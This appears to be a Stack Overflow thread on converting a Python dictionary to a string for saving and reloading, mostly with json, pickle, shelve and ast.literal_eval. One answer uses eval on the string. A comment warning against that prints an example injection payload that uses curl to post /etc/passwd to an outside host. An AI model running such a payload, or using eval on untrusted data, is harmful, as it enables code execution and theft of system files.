I am writing a program that stores data in a dictionary object, but this data needs to be saved at some point during the program execution and loaded back into the dictionary object when the program is run again. How would I convert a dictionary object into a string that can be written to a file and loaded back into a dictionary object? This will hopefully support dictionaries containing dictionaries.
12 Answers
The json module is a good solution here. It has the advantages over pickle that it only produces plain text output, and is cross-platform and cross-version.
import json
json.dumps(dict)

- 562
- 2
- 7
- 18

- 12,879
- 1
- 32
- 39
-
2I will be taking a look at this module as well. Both json and pickle seem easy enough to use, so it will come down to things such as cross-platform support. Thanks – AJ00200 Dec 28 '10 at 16:11
-
5Pickle tends to be seen as rather deprecated at this point. I always use json for things like this. Being (relatively) human readable is a BIG plus much of the time. – Tyler Eaves Dec 28 '10 at 16:17
-
You are right, the readability is a great feature, especially for what I am using this for. – AJ00200 Dec 28 '10 at 16:51
-
51You should add a simple example to allow users see how to do that. – Miguel Vazq Sep 23 '15 at 11:01
-
1@TylerEaves Can you provide example how it should be done. – Bob Sep 11 '16 at 09:43
-
Code would be nice. – nu everest Oct 16 '17 at 03:45
-
json.dumps(dict) – Hassan Dec 11 '17 at 21:24
-
2:foreheadslap: don't forget the `import json` like I did! – Jesse Chisholm Feb 04 '19 at 23:31
-
Sometimes if your json is bad enough you need to do json.dumps(json.dumps(x)) – devssh Mar 05 '19 at 07:57
-
1One caveat here is that json.dumps converts numeric keys into strings, so when you do json.loads afterwards you might get different dict. For example: json.loads(json.dumps({1:2})) == {'1':2} – langusta May 15 '19 at 11:53
-
how does this handle one of the values being a datetime datatype? I get "object of type 'datetime' is not JSON serializable' – Source Matters Aug 02 '19 at 21:55
-
Example: ```python import json my_dict = {'foo':1,'bar':2} str_from_dict = json.dumps(my_dict) print(type(str_from_dict)) print(str_from_dict) # Output: #
# {'foo':1,'bar':2} ``` – Artem S. Zhelonkin Dec 08 '21 at 11:22 -
Example import json my_dict = {"1": 1, "2": "my_data"} json.dumps(my_dict) '{"1": 1, "2": "my_data"}' – eduardosufan Apr 28 '22 at 19:09
-
It does not preserve accented letters – Julien Aug 12 '22 at 11:37
-
If you want get string with non-ASCII symbols: `dumps(your_dict, ensure_ascii=False)`. Remove figure brackets: `dumps(your_dict, ensure_ascii=False)[1:-1]`. Remove quotes: `string_from_dict = dumps(your_dict, ensure_ascii=False)[1:-1].replace("\"", "")` – Artem S. Zhelonkin Oct 26 '22 at 13:23
If your dictionary isn't too big maybe str + eval can do the work:
dict1 = {'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }}
str1 = str(dict1)
dict2 = eval(str1)
print(dict1 == dict2)
You can use ast.literal_eval instead of eval for additional security if the source is untrusted.
-
22I am not really prepared to deal with the possible exploits this could introduce into the code. I don't know what problems json or pickle might have, but I know for a fact that eval would be dangerous in this case. – AJ00200 Dec 29 '10 at 03:26
-
6@AJ00200: and the ast.literal_eval alternative I mentioned?. From the Python help: "Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None. This can be used for safely evaluating strings containing Python expressions from untrusted sources without the need to parse the values oneself." – PabloG Dec 30 '10 at 13:15
-
The does seem useful, but when I was previously using SQLite to handle this data and it had over 1500 entries, so it is quite large and growing all the time. – AJ00200 Dec 31 '10 at 15:36
-
str(dict) can be problematic - I've noticed in py2.7 that it can produce a string representing a dict with single quotes, and in some cases that might be confused for json, but single quotes are not in the json spec. I prefer the method described by @Eyal Ch – openCivilisation Jun 28 '21 at 08:59
-
2The `ast.literal_eval` option is indeed much better, but probably not better than using a json library. Recommending use of `eval` on what will likely be untrusted data is an enormous security concern. `eval` is almost never the correct answer and can have catastrophic consequences if misused, something it seems likely a casual reader of this answer may do. – kingsfoil Sep 14 '21 at 17:15
-
1If the dictionary above comes from an untrusted data source (such as when processing an HTTP request) the programmer has exposed the server at the shell level. (For instance `"import os; os.system('curl -X POST --data-binary @/etc/passwd
')"` if `eval`'d will leak the /etc/passwd file) It may also be possible to do this by injecting the payload into value in the dictionary if it takes in user data. The only time it would be safe to use `eval` here is if - The dictionary itself is not from an unstrusted source - The dictionary contains no user defined data So probably never. – kingsfoil Sep 14 '21 at 17:41 -
1Be careful using this. Please edit, to reduce security risks (warning header or alike) – PythoNic Oct 31 '22 at 08:39
Why not to use Python 3's inbuilt ast library's function literal_eval. It is better to use literal_eval instead of eval
import ast
str_of_dict = "{'key1': 'key1value', 'key2': 'key2value'}"
ast.literal_eval(str_of_dict)
will give output as actual Dictionary
{'key1': 'key1value', 'key2': 'key2value'}
And If you are asking to convert a Dictionary to a String then, How about using str() method of Python.
Suppose the dictionary is :
my_dict = {'key1': 'key1value', 'key2': 'key2value'}
And this will be done like this :
str(my_dict)
Will Print :
"{'key1': 'key1value', 'key2': 'key2value'}"
This is the easy as you like.

- 2,190
- 1
- 13
- 24
-
2@extraneon Actually, it is an answer to the question. It converts it to a string somewhere and writes it to a file. I don't have to do the actual conversion or file writing as it is all encapsulated by pickle. – AJ00200 Dec 28 '10 at 16:02
Convert dictionary into JSON (string)
import json
mydict = { "name" : "Don",
"surname" : "Mandol",
"age" : 43}
result = json.dumps(mydict)
print(result[0:20])
will get you:
{"name": "Don", "sur
Convert string into dictionary
back_to_mydict = json.loads(result)

- 13,566
- 7
- 90
- 104
In Chinese language you should do the following adjustments:
import codecs
fout = codecs.open("xxx.json", "w", "utf-8")
dict_to_json = json.dumps({'text':"中文"},ensure_ascii=False,indent=2)
fout.write(dict_to_json + '\n')

- 20,795
- 11
- 69
- 104

- 61
- 1
- 2
-
2This would be a better answer if you explained how the code you provided answers the question. – pppery May 02 '20 at 23:34
-
This doesn't answer the question; it addresses a tangentially-related issue that might come up in the same context, for some users. Setting a text encoding for the file may be necessary for many reasons (not just the text language), and it's a separate issue from converting the data to text. – Karl Knechtel Jan 24 '23 at 10:17
I think you should consider using the shelve
module which provides persistent file-backed dictionary-like objects. It's easy to use in place of a "real" dictionary because it almost transparently provides your program with something that can be used just like a dictionary, without the need to explicitly convert it to a string and then write to a file (or vice-versa).
The main difference is needing to initially open()
it before first use and then close()
it when you're done (and possibly sync()
ing it, depending on the writeback
option being used). Any "shelf" file objects create can contain regular dictionaries as values, allowing them to be logically nested.
Here's a trivial example:
import shelve
shelf = shelve.open('mydata') # open for reading and writing, creating if nec
shelf.update({'one':1, 'two':2, 'three': {'three.1': 3.1, 'three.2': 3.2 }})
shelf.close()
shelf = shelve.open('mydata')
print shelf
shelf.close()
Output:
{'three': {'three.1': 3.1, 'three.2': 3.2}, 'two': 2, 'one': 1}

- 119,623
- 25
- 170
- 301
If you care about the speed use ujson (UltraJSON), which has the same API as json:
import ujson
ujson.dumps([{"key": "value"}, 81, True])
# '[{"key":"value"},81,true]'
ujson.loads("""[{"key": "value"}, 81, true]""")
# [{u'key': u'value'}, 81, True]

- 12,154
- 4
- 57
- 62
I use yaml for that if needs to be readable (neither JSON nor XML are that IMHO), or if reading is not necessary I use pickle.
Write
from pickle import dumps, loads
x = dict(a=1, b=2)
y = dict(c = x, z=3)
res = dumps(y)
open('/var/tmp/dump.txt', 'w').write(res)
Read back
from pickle import dumps, loads
rev = loads(open('/var/tmp/dump.txt').read())
print rev

- 158
- 5
-
-
1I could have been more explicit. However `dumps()` defaults to protocol 0, which is an ascii protocol. That is why `'rb'` is not necessary IMHO. – Gerard Feb 22 '13 at 09:59
I figured out the problem was not with my dict object it was the keys and values that were of RubyString type after loading it with RubyMarshl 'loads' method
So i did this:
dic_items = dict.items()
new_dict = {str(key): str(value) for key, value in dic_items}

- 11
- 1